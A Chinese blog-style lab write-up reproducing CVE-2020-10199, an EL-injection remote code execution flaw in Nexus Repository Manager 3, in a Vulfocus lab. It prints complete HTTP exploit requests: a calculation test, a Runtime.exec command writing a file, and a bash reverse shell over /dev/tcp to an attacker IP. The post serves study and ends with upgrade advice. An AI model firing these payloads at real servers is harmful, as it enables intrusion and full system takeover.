CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现

一、漏洞概述

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。——大佬链接:https://zhuanlan.zhihu.com/p/353955349

二、影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

三、漏洞原理

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码、执行了不安全的EL表达式,从而获取到系统权限。

CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。

补充:EL表达式——el表达式语言,Java统一表达式语言(英语:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以“${}”表示。例如,${ userinfo}代表获取变量userinfo的值。

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

五、实验步骤

1.开启镜像环境,访问页面

 2.使用账号id:admin  password:admin登录账号

 3.brup抓包且构造如下数据包,执行6*6*6(此时虚拟机太卡了,重新启动了一下,所以端口和环境都换了一下)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 192.168.117.131:42023

Content-Length: 187

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN:0.9468176225792493

Content-Type: application/json

Accept: */*

Origin: 192.168.117.131:42023

Referer: 192.168.117.131:42023

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff

Connection: close

{

    "name""internal",

    "online"true,

    "storage": {

        "blobStoreName""default",

        "strictContentTypeValidation"true

    },

    "group": {

    "memberNames": ["$\\A{6*6*6}"]

}

}<br>注:包构造时需按下图显示,即内容识别出高亮,若不行,则space微调就好了

4.把执行6*6*6修改为创建一个Nexus文件

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 192.168.117.131:42023

Content-Length: 187

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN:0.9468176225792493

Content-Type: application/json

Accept: */*

Origin: 192.168.117.131:42023

Referer: 192.168.117.131:42023

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff

Connection: close

{

    "name""internal",

    "online"true,

    "storage": {

        "blobStoreName""default",

        "strictContentTypeValidation"true

    },

    "group": {

    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/Nexus')}"]

}

}

 5.监听指定端口,执行反弹shell

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 192.168.117.131:42023

Content-Length: 317

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN:0.9468176225792493

Content-Type: application/json

Accept: */*

Origin: 192.168.117.131:42023

Referer: 192.168.117.131:42023

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff

Connection: close

{

    "name""internal",

    "online"true,

    "storage": {

        "blobStoreName""default",

        "strictContentTypeValidation"true

    },

    "group": {

    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.117.131/4216<&1')}"]

}

}

6.能看到之前创建的Nexus文件和flag

六、修复方式

根据官方跟新文档,升级至最新版本——https://help.sonatype.com/repomanager3

七、写于后面

此漏洞复现的意义主要还是多一个思路,毕竟涉及范围并不是特别广。当然更重要的还是对于linux的深入学习、理解和使用吧,准备新开一个linux学习专栏~

https://mp.weixin.qq.com/s/CAtsX3yP81mULbMDTo0J1A——一位大佬整理的该漏洞复现过程中的原理以及超级底层的讲解,超级棒,引用于此方便学习

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值